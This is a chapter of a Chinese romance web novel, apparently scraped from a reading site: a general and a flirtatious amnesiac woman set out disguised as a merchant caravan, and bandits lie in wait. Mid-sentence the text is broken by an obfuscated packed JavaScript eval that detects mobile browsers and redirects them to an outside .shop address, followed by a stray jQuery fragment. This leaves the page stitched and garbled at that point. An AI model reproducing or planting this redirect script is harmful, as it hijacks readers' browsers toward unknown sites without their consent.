文趣网 > 其他小说 > 将军别杀我 > 6. 第 6 章
    既决定乔装前往沙月关,沈郁便开始着手准备。

    亲自挑选了数十名精锐,扮作商队伙计,又命遥岑调集了一批皮料和药材,俨然是一支喀什前往突厥的走货商队。

    出发前夜,婢女捧着沈郁吩咐准备的衣物送到沉玉厢房。

    沉玉换上衣裙,对镜自照。

    镜中女子身着喀什女子常穿的裙装,靛青色秀缠枝纹的窄袖短衫,领口和袖口镶着银线。

    下身是同色系长裙,腰间还配着一条镶满绿松石和珊瑚珠的腰带,还有同色头纱和面纱,色彩浓郁。

    与她平时穿的素色裙裾不同,充满异域风情。

    她对着镜子转了个圈,甚是满意。

    门外传来熟悉的脚步声,门被轻声叩响

    “进。”

    沉玉应道,眸光流转,坏主意又一次浮上心头。

    沈郁一身墨色劲装进门,显然方才回府。

    他抬眸,目光落在镜前身姿窈窕的身影上,脚步一顿。

    烛火融融,映着她一身异域服装。

    靛青衣料衬得她肤色愈发白皙,浓丽的色彩不显俗艳,反而将她眉宇间的秾丽勾勒的淋漓尽致。

    那双总是含着狡黠水光的眼眸,此刻带着一种夺人心魄的瑰丽。

    沈郁喉结微动,默默移开视线,

    “衣裳可还合身?”

    沉玉提着裙摆,像只开屏的孔雀。

    在他面前转了两圈,环佩叮当,裙裾飞扬,颇有几分喀什妖姬的风采。

    “将军觉得好看吗?像不像喀什来的姑娘?”

    沈郁只觉裙摆晃动的光影搅得他有些眼花。

    鼻尖萦绕着她身上的冷梅香,与这身服饰倒是奇异的融合。

    他目视前方,像块不解风情的石头,答道:“明日赶路,衣服以利落为主,不必过于繁琐。”

    “这不是将军准备的吗?将军还未说我好不好看。”

    沉玉不依不饶,凑近两步追问,非要他亲口承认。

    沈郁被她逼的后退半步,只能硬邦邦答道:“尚可。莫要胡搅蛮缠。”

    这番告诫现在对沉玉而言毫无威慑力。

    她向来只知得寸进尺,顺势往前蹭了蹭,“将军深夜来寻我,可是想我了?”

    “……”

    沈郁将人推开,她像没骨头似得,一见着他就往他身上挨。

    “身上的伤可都愈合了?明日路途颠簸,若有不适,提前告知与我。”

    沉玉抬起手臂活动了几下,笑嘻嘻道:“全好啦!要不我把衣服脱了,将军亲自检查一下?”

    又是这没羞没燥的话。

    沈郁额角青筋一跳,没好气瞪了她一眼。

    沉玉噗嗤一笑。

    只觉得这人真是不经逗,这就害羞了。

    懒得再跟她斗嘴,沈郁从怀中取出一物,递给她。

    “明日便要出发,沙月关情况未明,危险难测。我不能保证时时在你身侧,这个你收好,必要时可防身。”

    沉玉接过带鞘的匕首。

    刀鞘乃纯银打造,上面还镶着珊瑚珠子,若不细看,挂在腰间即是寻常饰物。

    她抽出匕首。

    刃身雪亮,泛着幽幽寒光,一看便知锋利异常。

    握在手心掂了掂,轻巧锋利,确是防身利器。

    然而,脑海中却不合时宜闪过那晚遇袭时寻找武器的茫然感,

    “将军这匕首极好,可是我觉得不太称手,我能不能自己挑一件?”

    沈郁皱眉:“女子防身,匕首最是称手隐蔽,你要什么?”

    “不知道,我想要一眼心动的,让我自己选选吧,将军~~”

    沉玉抱着他手臂轻晃,“说不定有更合适的呢?”

    沈郁被她缠的无法,又想到她或许真有些自己不知道的偏好,便点了点头。

    “只许挑轻便的,不许胡闹。”

    “沉玉得令!”

    又是这句,每次都叫她卖乖得逞。

    沈郁带着她到后院的兵器库,库房宽敞。

    里面尽是刀枪剑戟,斧钺钩叉,每一件兵器都寒光凛冽,肃杀之气扑面而来。

    沉玉像误入宝库的孩子,好奇的张望,扫过那些长兵重器,径直在短兵区域流连。

    她拿过一柄软剑,嗯,不称手。

    又试了一下袖箭,嫌弃的摇头,太过精巧复杂。

    沈郁跟在她身后,愈发好奇她失忆前的样子。

    此女狡猾聪慧,精通番语,对一些奇门秘术亦颇有门道,连兵器都使的颇有章法。

    她究竟……是个什么样的女子?

    “我要这个!”沉玉拨开几件护甲,从底下摸出一对东西。

    沈郁闻声望去。

    那是他早年间偶然得到的一对指虎,玄铁所铸,通体乌黑,没有多余装饰,

    只在每个指环外侧有凸起的棱角,既可保护指节,也能在击打时增强杀伤力。

    只是指环对他来说太小,是以一直在库房角落里落灰。

    沉玉将指虎擦干净,套在手指上,握了握拳,感受着指环箍住指根的契合感。

    熟悉感涌上心头,就是这种感觉!

    那晚她寻找的,就是这样的触感!

    她对此无比确认!

    沈郁却不太认可,“指虎是近身搏杀的利器,需极高的技巧,稍有不慎会伤及自身,你一个弱女子,用这个太过危险,还是匕首稳妥。”

    “我喜欢这个!匕首我用不惯,万一情急之下拔不出来怎么办?”

    沉玉握着指虎爱不释手,眼睛发亮,“这个套在手上不会丢,而且有将军在身边,我不会受伤。”

    纤细白皙的手指扣在指虎上,形成强烈对比,却又莫名和谐,沈郁看她对指虎的喜欢不似作伪,“真这么喜欢?”

    “喜欢!”

    “匕首也要带着,就挂你腰间当个饰物。”

    沈郁最终还是妥协,仍不放心的叮嘱,“若遇到危险,务必先顾自身,不可逞强,记住,你的安危最要紧。”

    “嗯嗯,记住了!将军放心吧,我绝不离开你超过三步距离,可好?”沉玉笑嘻嘻说着。

    却趁他转身不备时,戴着指虎的右手并指握拳,朝他后心出招,赫然是那夜遇袭时使出的招式,

    “看招!”

    沈郁听风辩位,一把抓住她偷袭的手腕,同时腰身微拧,另一只手已扣住她试图格挡的手腕。

    沉玉只觉得双臂一麻,所有力道瞬间被卸去,整个人转了一圈便被带进怀里,双手被反剪在背后。

    “偷袭?”沈郁戏谑的声音在她头顶响起,“身手不错。”

    虽力道速度不及高手,但角度刁钻,隐隐透着一股狠辣,她失忆前应是身手不错。

    沉玉被他制住也不惊慌,反而故意放松身体往前送去,声线带笑,鲜活无比,“哎呀,将军威猛,沉玉佩服~~愿束手就擒,从此任凭将军处置。”

    环佩叮当的喀什裙装,曲线毕露,馥郁的香气带着柔软的身躯直直贴上沈郁胸膛。

    肌肉瞬间绷紧,惊的他猛然松手,脸上涌上窘迫,眼带薄怒瞪着她。

    半晌才从牙缝里挤出一句“明日还要赶路,早些回去歇息!”

    沉玉看他落荒而逃的背影,乐不可支。

    好玩,这人真好玩!

    --

    晨光熹微,一队由数十匹骆驼和几辆满载货物的马车组成的喀什商队,悄然越过边城,朝着苍茫的沙漠逶迤而去。

    沈郁换了一身便于出行的靛青色胡服,头发亦用布巾包裹,骑着高大的双峰骆驼,身姿挺拔,少了将军的肃杀,倒是多了几分商人的内敛。

    沉玉依旧穿着昨日的靛青色裙装,只是外面多了一件防风斗篷,头纱松松拢在肩头,面纱遮住大半张脸,只露出一双秋水般的眼眸,顾盼生辉。

    宽大的裙摆铺在骆驼鞍上,随着骆驼的步伐,环佩发出清脆的声响。

    遥岑扮作商队护卫头领,跟在两人身后。

    一行人默默前行,起初还能见到零星的绿意和人烟,渐渐视野所及便只剩下一地苍茫和连绵沙丘。

    骑骆驼和骑马不同,步伐缓慢颠簸。

    沉玉这人就是天生的好动,起初还老老实实跟着沈郁,

    时间一长,便开始静不住了,眼珠子一转,无数个坏主意在脑子里打转。

    她催促骆驼加快几步,与沈郁的骆驼并行,开口便叫沈郁头顶冒烟:“夫君,这骆驼颠的我腰都快断了,咱们还要走多久呀?”

    甜腻的嗓音如同带着钩子的蜜糖,钩的沈郁不自觉握紧缰绳,“两日后可抵达沙月关,你少说话,保存体力。”

    “哦……”沉玉驱着骆驼不断靠近,身上的斗篷几乎要蹭到沈郁,继续用甜得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566228|204758||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    发腻的声音抱怨着:“夫君累吗?这日头晒的人头晕。夫君渴不渴?要不要喝水?”

    沈郁觉得自己额角青筋又开始跳动,告诫自己冷静,从腰间解下水囊递过去:“喝!”

    沉玉愣了一下,她问的是这木头要不要喝水,不过还是接过水囊,抿了一口。

    还回去时指尖“不小心”勾了一下他的指尖。

    “夫君,你说沙月关的驿站会不会有热水沐浴?这一身风沙可难受了,对了,等到了驿站,我和夫君是住一间房还是两间呀?咱们既然是夫妻,应该住一起才不惹人怀疑吧?”

    “沉!玉!”沈郁终于忍不住侧过头,警告的意味不言而喻,“路上你可以唤我名讳,无需……这样唤我。”

    他们扮作夫妇不过是为掩人耳目,此女未免入戏太深。

    从出发那一刻开始便夫君不离口,喊的人心神不宁。

    “哎呀,夫君别生气嘛。”沉玉完全将他的警告当耳旁风,“我这不是提前适应一下嘛,免得到了驿站露馅,坏了夫君大事怎么办?”

    沈郁冷哼,“我看你无师自通,适应的很!”

    “那夫君适应了吗?没有的话,我再多喊几声?”沉玉笑的眼睛弯弯,“方才夫君让我直呼名讳,我要叫夫君什么?沈郁?阿郁?”

    沈郁:“……都可。”不要再唤他夫君就行。

    沉玉灵光一现,拍手道:“夫君有没有觉得我们的名字好像?沈郁-沉玉,音调相似,莫非,我们真是前世修来的缘分,连名字都这般相配?”

    “……你若再胡闹,今晚扎营,你便睡在外面守夜。”

    “好呀,”沉玉一口应下,丝毫不惧,“夫君会陪我一起吗?届时咱们花前月下,岂不别有一番情趣?”

    日头逐渐升高,炽热灼人。

    沈郁只觉得这趟路走的比奔袭千里都要煎熬,耳边尽是她清脆的声音,鼻尖是随风飘来的冷梅香,眼前是她狡黠的笑眼。

    令他神经一崩再崩,索性闭上嘴,缰绳一抖,加快速度想要拉开距离。

    “夫君等等我呀!”沉玉立刻驱使骆驼跟上。

    两人在沙丘上你追我赶,驼铃叮当作响。

    身后不远的遥岑死死低着头,肩膀控制不住耸动,一张脸憋得通红,却不敢笑出声。

    毕竟在沙漠里被罚举鼎,多少有些惨无人道。

    谁承想啊,当日在刑场上字字珠玑,骂的所有人都哑口无言的凶悍女子。

    失忆之后竟是这副模样!

    他家将军强硬了这么多年,终于迎来了克星,那副如坐针毡的模样真是开天辟地头一遭。

    可惜了,凌季没能见识到这一幕。

    --

    越往西走,日头越发酷烈,像一鼎烧红的巨釜,倒扣在沙海之上。

    炙烤的空气扭曲,岩石滚烫。

    通往沙月关商道的路上,一条嶙峋怪诞的石道上方,十几道身影如石雕般匍匐着。

    "头儿……太阳落山前,要是再蹲不到,咱们就真挺不住了。”一脸上抹着赭石油彩的少年,舔着干裂起皮的嘴唇,向身旁的首领说道。

    趴在他身边的是一个身材异常高大的男人,即便趴伏着也能看出其肩膀宽阔,骨架粗大。

    他脸上也涂着同样的赭石油彩,头上缠着破旧头巾,腰间别着一把弯刀,刀鞘上的银饰早已黯淡无关。

    他就是昆莫,沙月关有名的马匪头子。

    今日是他带着手下在这蹲守的第三天,望着下方空无一人的商道,昆莫眼底也有些绝望。

    没有驼铃,没有商旗,连只沙鼠都看不到。

    距离他们上次劫掠成功,已经过去快二十天了,如今他们的物资早已见底,家里还有几十口人嗷嗷待哺。

    “再等等!若是今日蹲不到,明日咱们就去广固城。”昆莫的嗓音嘶哑,眼底闪过一丝狠厉。

    他在赌,赌天山的神明不会让他的族人寂灭,他的运气还没彻底用完。

    烈日无情的炙烤着大地,时间在绝望中缓慢流逝。

    岩柱的影子跟着日头西移而拉长,预示着夕阳即将西下,商道上依旧空空如也,只有风卷起的沙柱,如同鬼魂般在远处游荡。

    趴在边缘的小少年忽然“咦”了一声,又趴下去仔细倾听。

    “族……头儿”小少年激动的手都在抖,“有动静!是驼铃……”

    --